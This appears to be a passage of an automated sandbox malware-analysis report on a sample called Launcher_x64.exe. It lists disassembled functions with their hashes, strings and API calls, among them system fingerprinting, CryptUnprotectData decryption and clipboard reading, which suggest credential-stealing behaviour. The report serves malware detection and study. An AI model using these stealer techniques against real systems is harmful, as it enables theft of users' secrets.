Opcode Fuzzy Hash: ab442a48b86844931e46a82c5d08626745082cb09e4190d0b5adf3c61f8e3191
Instruction Fuzzy Hash: 5031A136400229BBCF264F54E84187ABB66FF6871DB1C8559FC544A121C3B2DD61DBB2

Function 00D1308C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D13114
RaiseException.KERNEL32(?,?,?,?), ref: 00D13139

Part of subcall function 00D17223: RaiseException.KERNEL32(E06D7363,00000001,00000003,00D15F93,?,?,?,?,00D15F93,00001000,00D3E1AC,00001000), ref: 00D17284

Part of subcall function 00D1F7B9: IsProcessorFeaturePresent.KERNEL32(00000017,00D1A37B,?,?,?,?,00000000), ref: 00D1F7D5

Strings

csm, xrefs: 00D130C8

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 432f64a3b700b3dd4e3842db495c8ff75ac6d962bfe820aa276ab8455ebad763
Instruction ID: 4927b0276cdcd7d6933414976c06b86d90ca4274e2d159efdb06552996297a3a
Opcode Fuzzy Hash: 432f64a3b700b3dd4e3842db495c8ff75ac6d962bfe820aa276ab8455ebad763
Instruction Fuzzy Hash: FA213A32D00318BBCF24DF95E9459EEB7B9EF08710F580419E519AB650DA30AEC5CBB1

Analysis Process: Launcher_x64.exePID: 3336, Parent PID: 2640COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	57.9%
Total number of Nodes:	413
Total number of Limit Nodes:	29

Executed Functions

Function 00437A30 Relevance: 35.8, APIs: 11, Strings: 9, Instructions: 810
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00437CF9
SysAllocString.OLEAUT32(10401E4F), ref: 00437D78
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437DB6
SysAllocString.OLEAUT32(A210A018), ref: 00437E12
SysAllocString.OLEAUT32(105A1E4E), ref: 00437EDA
VariantInit.OLEAUT32(2625241B), ref: 00437F4C
SysFreeString.OLEAUT32(00000000), ref: 00438245
GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00438281

Strings

1-lw, xrefs: 00438336
(), xrefs: 00437F86
A%T', xrefs: 00437F7E
MN, xrefs: 00437E7A
7v.H, xrefs: 00437E6A
Dx, xrefs: 00437B91
M!@#, xrefs: 00437F76
0j6l, xrefs: 00437D1F
9]^_, xrefs: 00437B31

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: String$Alloc$BlanketCreateFreeInformationInitInstanceProxyVariantVolume
String ID: ()$0j6l$1-lw$7v.H$9]^_$A%T'$Dx$M!@#$MN
API String ID: 505850577-2631378170
Opcode ID: e0c2a04e89183fa61c242c274a676a16a0f5589baa0ff97e0d627b20027def06
Instruction ID: a0f1f38f0aa8d91442959c38e5ab5fd8015b3e1277f0a867d9220f2f779a2222
Opcode Fuzzy Hash: e0c2a04e89183fa61c242c274a676a16a0f5589baa0ff97e0d627b20027def06
Instruction Fuzzy Hash: A942F072A083508FD310CF64C88179BFBE1EBD9310F19892EF9D59B391D678D8068B96

Function 00432740 Relevance: 21.2, APIs: 2, Strings: 10, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00432789
GetSystemMetrics.USER32 ref: 00432799

Strings

.C, xrefs: 00432979
O.C, xrefs: 00432921
H3C, xrefs: 0043299A
!3C, xrefs: 00432900
, xrefs: 00432886
l3C, xrefs: 004329F2
I2C, xrefs: 00432A13
3/C, xrefs: 004329D1
3C, xrefs: 00432A3F
>-C, xrefs: 004329C6

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: MetricsSystem
String ID: $!3C$3/C$>-C$H3C$I2C$O.C$l3C$.C$3C
API String ID: 4116985748-142951046
Opcode ID: 68a8099a1451fbabe752d9b6aba3cbf13b07f14d6f966a0471c796c0e7cf811a
Instruction ID: cefdfa2f4bb4a907d3b0707c83b2961d81cb34de209d25866783f0d6dfe31f94
Opcode Fuzzy Hash: 68a8099a1451fbabe752d9b6aba3cbf13b07f14d6f966a0471c796c0e7cf811a
Instruction Fuzzy Hash: 64B15DB04197808BE760DF14D58878FBBE0BB86348F518D1EE498AB351D7B99548CF8B

Function 00423220 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 552
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

su, xrefs: 004238A2
Fw, xrefs: 004238AA
nu, xrefs: 00423892
KM, xrefs: 00423715

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: Fw$nu$su$KM
API String ID: 0-4031965064
Opcode ID: be056bf66652b930f6d7f5fe939cd363de02baa19934b622e25241b4cc114444
Instruction ID: 546090f0aae7dc36f6e0d4649872a0ec1d0f8291a6775c6417dd0acd4fbf0cbc
Opcode Fuzzy Hash: be056bf66652b930f6d7f5fe939cd363de02baa19934b622e25241b4cc114444
Instruction Fuzzy Hash: 7102FCB5A08320CBC310CF65E88125BBBF1EFC6305F44896DE9C59B381E7789906CB96

Function 004085B0 Relevance: 7.6, APIs: 5, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040863A
GetCurrentThreadId.KERNEL32 ref: 00408640
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 0040864F
GetForegroundWindow.USER32(?,00000010,00000000), ref: 00408655
ExitProcess.KERNEL32 ref: 00408694

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: b1eede587d1454609993c3a2c80326da517b7577879fd8f8bab8d6289ce9bdba
Instruction ID: 92dae0f12611f0e97a25a87696c2a8d7ef8639134bb70ffc9b48fb368595a998
Opcode Fuzzy Hash: b1eede587d1454609993c3a2c80326da517b7577879fd8f8bab8d6289ce9bdba
Instruction Fuzzy Hash: A51126B5E402009BD7247F65AD0AB5636119F83305F0A827EB8957F3E7DE3D980082EE

Function 0042C911 Relevance: 4.0, APIs: 2, Instructions: 1009
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNEL32(00000006,?,?), ref: 0042CE8D

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 78533710b792235b2fcf5670ad857914e575acef22f59b740b7afb0475bcaef1
Instruction ID: 76ac2631fd4ef694283d1fb06db62edaa810a82f58b3964977fa30f48bd96897
Opcode Fuzzy Hash: 78533710b792235b2fcf5670ad857914e575acef22f59b740b7afb0475bcaef1
Instruction Fuzzy Hash: DD6225306047918FD725CF29D480763BBE2AF9B310B68859DC4D68F796C739E806CBA5

Function 00426A70 Relevance: 2.9, Strings: 2, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Y, xrefs: 00426E53
(-.o, xrefs: 00426B3F

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InitializeThunk
String ID: (-.o$Y
API String ID: 2994545307-3975210238
Opcode ID: 5836a6319e0d82008b8d91f2484fa105ce52bfeb4640bd1525e8b197794c4d8d
Instruction ID: 2fd69eb372224707830a6684b889158793aac8ed2c8f35a98a6474a8a9c76d1c
Opcode Fuzzy Hash: 5836a6319e0d82008b8d91f2484fa105ce52bfeb4640bd1525e8b197794c4d8d
Instruction Fuzzy Hash: 8DB16E727043618BDB14DF25D8426ABB792EFD5304F9B853EE8858B341D239ED06C39A

Function 0043E6C0 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

<;:9, xrefs: 0043E79B
@, xrefs: 0043E77D

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: <;:9$@
API String ID: 0-663980302
Opcode ID: 25030e0f54187dd7d97a5094e6b67fba24dfc7d6c651b842d8accc0a2a09a670
Instruction ID: a422c0ca82652f737e4f1e142246e6692507047bea1aeb5a718bc394c3bfefce
Opcode Fuzzy Hash: 25030e0f54187dd7d97a5094e6b67fba24dfc7d6c651b842d8accc0a2a09a670
Instruction Fuzzy Hash: 7E4155B1A053108BDB18CF22C89176BB3E2FF99318F19952DE889473D0E7399D04CB86

Function 0042D78A Relevance: 2.2, APIs: 1, Instructions: 681COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNEL32(?), ref: 0042DB8E

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 72ad962deb764843d33cd4e862aa4473b958394af15c913e83fe9b27cef8db69
Instruction ID: 1e38fdd2a070c5190578cea8d7e00dd51e2a253d61de10ec1e8fea606ecc6a7c
Opcode Fuzzy Hash: 72ad962deb764843d33cd4e862aa4473b958394af15c913e83fe9b27cef8db69
Instruction Fuzzy Hash: 8212E670604B518FD725CF29D490762FBE2AF97310F28829ED4DA8B792D739E806CB54

Function 004182BC Relevance: 1.7, APIs: 1, Instructions: 157encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0041848D

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 94f1619d0213c66efed45e7fc48bac5a3fb9675e641e5121d8995465e2b33201
Instruction ID: b5f110dc900f150b17a9ab2730c3f268e57193e66b42661d4aec5e60a62e6f1c
Opcode Fuzzy Hash: 94f1619d0213c66efed45e7fc48bac5a3fb9675e641e5121d8995465e2b33201
Instruction Fuzzy Hash: F251C9716082429FC718CF28C4917AFB7D2ABD5314F588A2EE4A9C7381E739D845C786

Function 0043C390 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E4EB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C3BE

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043E950 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

<;:9, xrefs: 0043E970

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InitializeThunk
String ID: <;:9
API String ID: 2994545307-3375088645
Opcode ID: ea2a51e6249a908ff67df608b898d45a155b98b875273cdc1e1072d0039dcdbf
Instruction ID: 5f15f40da82492e0b1ba2af83039ee2b9b7e6c15b25aba3d17fa9b47de68de05
Opcode Fuzzy Hash: ea2a51e6249a908ff67df608b898d45a155b98b875273cdc1e1072d0039dcdbf
Instruction Fuzzy Hash: 86412536B043209BD7249A66CC81B3BB2E6B7CD710F19993DE989E73D0D228EC009785

Function 0042C393 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

LppD, xrefs: 0042C3D4

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: LppD
API String ID: 0-4210666678
Opcode ID: eefbf11c5dec5ab344813fc4d060d0068d94ab0567afc537f306fcfbd44f21c7
Instruction ID: 855bee060028c4c386b9165997aa1c1878383dced02fbfdc783bb1665570fd4c
Opcode Fuzzy Hash: eefbf11c5dec5ab344813fc4d060d0068d94ab0567afc537f306fcfbd44f21c7
Instruction Fuzzy Hash: 533149606047918BD7258F29D490333BBE1BF17304F18569DD0D68B786C73CE406CB99

Function 0043C591 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b745c6b921c688ef65841581c84ab3f1f0f8b1fbe7e89272cb14133a7d6a03f5
Instruction ID: c8b7ff01dbc89da8d6ea6474c81a927fa52fa21778feebd763115c9689ec260e
Opcode Fuzzy Hash: b745c6b921c688ef65841581c84ab3f1f0f8b1fbe7e89272cb14133a7d6a03f5
Instruction Fuzzy Hash: 7121C736A041158BDB18CF28CCA157F7362FB9B310F69A579C822B7391D7349D02CB88

Function 0040C708 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C71A
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C732

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: a9fcc913b262d4d91c39290921aae48d96db57926766ac11a3d43773f4083c2f
Instruction ID: 8836483fef9718eed69a3eb401eec82565d53f5260c1ee4ee56b77d015c0ed40
Opcode Fuzzy Hash: a9fcc913b262d4d91c39290921aae48d96db57926766ac11a3d43773f4083c2f
Instruction Fuzzy Hash: E2E0E2787C83007AF6B88B80AC17F103221A782FA2F740318F3217D2E5C5E03200851C

Function 0042C81F Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042C8F6

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: e30c596180b53a115660af04bd7a6324405d873a3c2052b9d32e024041f48c30
Instruction ID: fef5e511c25dd90ee2481010203ce8a11989a6ef7277a4b99bef1607bb5356d0
Opcode Fuzzy Hash: e30c596180b53a115660af04bd7a6324405d873a3c2052b9d32e024041f48c30
Instruction Fuzzy Hash: B2212F70A043928BD7258F39D490B32BBE1BF6A345F18499ED4D387352C739A806CB69

Function 0043169E Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431721

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 1b706232c8508b99c9513138340112bcd4fc633695f233ad1e106145ab069449
Instruction ID: 99f9e0275e3553d60d98f077b3ec4e5d3744d1100fe206b68e1fd2e2096be3e8
Opcode Fuzzy Hash: 1b706232c8508b99c9513138340112bcd4fc633695f233ad1e106145ab069449
Instruction Fuzzy Hash: 5C112DB46097418FC314DF28C569B567BE0FF8A304F05495DD486CB7A1CB7AB948CB41

Function 0043C330 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B23E,00000000,?,?), ref: 0043C362

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6de1511ed9022200e782e57fe5e392477f89d2fbc5be729bb0dfac603b69d301
Instruction ID: e369c52f231ad78f84bd32a4751c63da7a036563184d49fb13e449577516f3fe
Opcode Fuzzy Hash: 6de1511ed9022200e782e57fe5e392477f89d2fbc5be729bb0dfac603b69d301
Instruction Fuzzy Hash: F5E02B36818310EBD3002F397C06B573A789F8A724F06583AF845A2125D738E81382AF

Function 0042FE63 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FEAC

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 5d18248fb324ad992eed188ae8d49b1edf644bf64f4cca6a05f3105ee15bf4d6
Instruction ID: cf69311b2f7906215d5f9a2fdf864ddf242b4b50beeb3f972364ef3726ef5a4d
Opcode Fuzzy Hash: 5d18248fb324ad992eed188ae8d49b1edf644bf64f4cca6a05f3105ee15bf4d6
Instruction Fuzzy Hash: 10F067B45097018FE314DF28D5A4B5ABBF0EB89304F11891DE4998B3A0C775AA49CF82

Function 004316DB Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431721

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 5e02709d0cdb075b96999847d3ac6bcd50698112236cc9de278e98ac8545c9f4
Instruction ID: 3eaceb2e014506f690982f0843b9c29f30ab48e6e7b128695122f7153c1bd5f7
Opcode Fuzzy Hash: 5e02709d0cdb075b96999847d3ac6bcd50698112236cc9de278e98ac8545c9f4
Instruction Fuzzy Hash: 7AF07AB4509701CFD314EF28D56871BBBE0FB85308F01491CE4998B790C7BAA548CF86

Function 0040C6C0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C6D3

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: b1e0911775c4594e58c624fa0b69b19cacf48127d6e319bcd97afd1595ad1424
Instruction ID: a1b1aa57a00fe377383fdc852637ec76c540e68d6ade18ce1a169c0ba2b367a3
Opcode Fuzzy Hash: b1e0911775c4594e58c624fa0b69b19cacf48127d6e319bcd97afd1595ad1424
Instruction Fuzzy Hash: AAD0A7785601847BD200AB2CEC1BF26372CD307B95F000235F6A3C61D2E9507910C57D

Function 0043A8A0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C37B,?,0040B23E,00000000,?,?), ref: 0043A8BE

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3f653a97980777988beddf4402dfa014889496ccf7d07c6997bf3b6c41101137
Instruction ID: 28314e9eec856b95762a2db0f829bc7e29e5e9cb55e77819493c132b3ac68343
Opcode Fuzzy Hash: 3f653a97980777988beddf4402dfa014889496ccf7d07c6997bf3b6c41101137
Instruction Fuzzy Hash: 47D01231905222EBC7101F14FC06B863B54EF09721F0345A1B404AB0B5C774DC9186D8

Function 0043A87F Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0043A889

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 352bd915374fd58664ed3a4148089b8da909809154650511590e738249c08e02
Instruction ID: b3c80175f663533894847c9a66b9f197813aaf9421f5bd2d561509b771ab2550
Opcode Fuzzy Hash: 352bd915374fd58664ed3a4148089b8da909809154650511590e738249c08e02
Instruction Fuzzy Hash: 78B00234145115B9E17117115CD5F7F1D6CEF43F95F104454B204140D047945402D57D

Non-executed Functions

Function 00426EE0 Relevance: 23.3, APIs: 1, Strings: 12, Instructions: 506COMMON

Download Yara Rule

Strings

(R4T, xrefs: 0042775C
mn, xrefs: 0042777D
kV!h, xrefs: 00427767
2N1@, xrefs: 00427728
:Z$\, xrefs: 00427746
jl, xrefs: 00427772
#^9P, xrefs: 00427751
ryB, xrefs: 00427964
%J(L, xrefs: 00427790
'B:D, xrefs: 00427730
"F+X, xrefs: 0042773B
{B, xrefs: 00427BD6

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: jl$"F+X$#^9P$%J(L$'B:D$(R4T$2N1@$:Z$\$kV!h$mn$ryB${B
API String ID: 0-1538198085
Opcode ID: 5a8f9da79fc42f044587603d3f05118bc814a8cb24d0e0ec4d3fa280bdd9ec81
Instruction ID: c601009fdba7fd998d586c2e1929966179365d4403c34ba6f7a7ad58ec389304
Opcode Fuzzy Hash: 5a8f9da79fc42f044587603d3f05118bc814a8cb24d0e0ec4d3fa280bdd9ec81
Instruction Fuzzy Hash: FEF101B460C350CBD734DF24D851B5BBBE1FF86304F05496DE5889B292DB799805CB8A

Function 00432580 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 125clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00432590
GetClipboardData.USER32 ref: 004325AB
GlobalLock.KERNEL32 ref: 004325C4
GetWindowLongW.USER32 ref: 00432616
GlobalUnlock.KERNEL32 ref: 00432719
CloseClipboard.USER32 ref: 00432722

Strings

V, xrefs: 0043265E
H, xrefs: 0043264A
I, xrefs: 00432659
K, xrefs: 00432663
?, xrefs: 0043264F
8, xrefs: 00432645
G, xrefs: 00432640

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: 8$?$G$H$I$K$V
API String ID: 2832541153-3986132860
Opcode ID: 18847dea11fe6d3619e44b1371f6d828a2553772883ea2003fafcb793388adaa
Instruction ID: a40d0bc31e7db4c16c9872b172ccf9ade393ad05595a022e5adcc8ad66d667d9
Opcode Fuzzy Hash: 18847dea11fe6d3619e44b1371f6d828a2553772883ea2003fafcb793388adaa
Instruction Fuzzy Hash: 4341CFB250C3818ED305AF78994932FBED1AB96318F094A2EE4D587391DAB88549835B

Function 00426F00 Relevance: 18.1, Strings: 14, Instructions: 629COMMON

Download Yara Rule

Strings

kV!h, xrefs: 00427767
TqB, xrefs: 00427140
2N1@, xrefs: 00427728
:Z$\, xrefs: 00427746
KlGn, xrefs: 00426FF5
jl, xrefs: 00427772
bFaj, xrefs: 00426FED
(R4T, xrefs: 0042775C
mn, xrefs: 0042777D
#^9P, xrefs: 00427751
%J(L, xrefs: 00427790
Z^XN, xrefs: 00426FFD
'B:D, xrefs: 00427730
"F+X, xrefs: 0042773B

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: jl$"F+X$#^9P$%J(L$'B:D$(R4T$2N1@$:Z$\$KlGn$TqB$Z^XN$bFaj$kV!h$mn
API String ID: 0-1793681726
Opcode ID: 592f2e71d59995b5807a4fb568b9e4c36a1bf64629ef606bae1475088cf4a6d7
Instruction ID: 5c6f29337a1c4246edf5aa31e021b7fcfaf81df006791dd0b2f5a19e52e9036c
Opcode Fuzzy Hash: 592f2e71d59995b5807a4fb568b9e4c36a1bf64629ef606bae1475088cf4a6d7
Instruction Fuzzy Hash: 3E1237B5A0C351CFC7148F28E89136BBBE1AF86314F44486EE9C59B352D7789806CB97

Function 0040A6C0 Relevance: 10.4, Strings: 8, Instructions: 372COMMON

Download Yara Rule

Strings

G$@&, xrefs: 0040A7F8
;<, xrefs: 0040A876
gb(+, xrefs: 0040A9F3
a\]^, xrefs: 0040A808
zlbz, xrefs: 0040A9FB
CXdZ, xrefs: 0040A800
9'gs, xrefs: 0040A9EB
n`of, xrefs: 0040AA5E

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID: 9'gs$;<$CXdZ$G$@&$a\]^$gb(+$n`of$zlbz
API String ID: 0-2826994576
Opcode ID: 21c9a56eb0b088b1cfe986633598597846d16603d8cf98438421ab852f1b4ef3
Instruction ID: 1766ed39920e717e0ef7c493068a3785e1707b6dd0c884577fa976e0f9216b6b
Opcode Fuzzy Hash: 21c9a56eb0b088b1cfe986633598597846d16603d8cf98438421ab852f1b4ef3
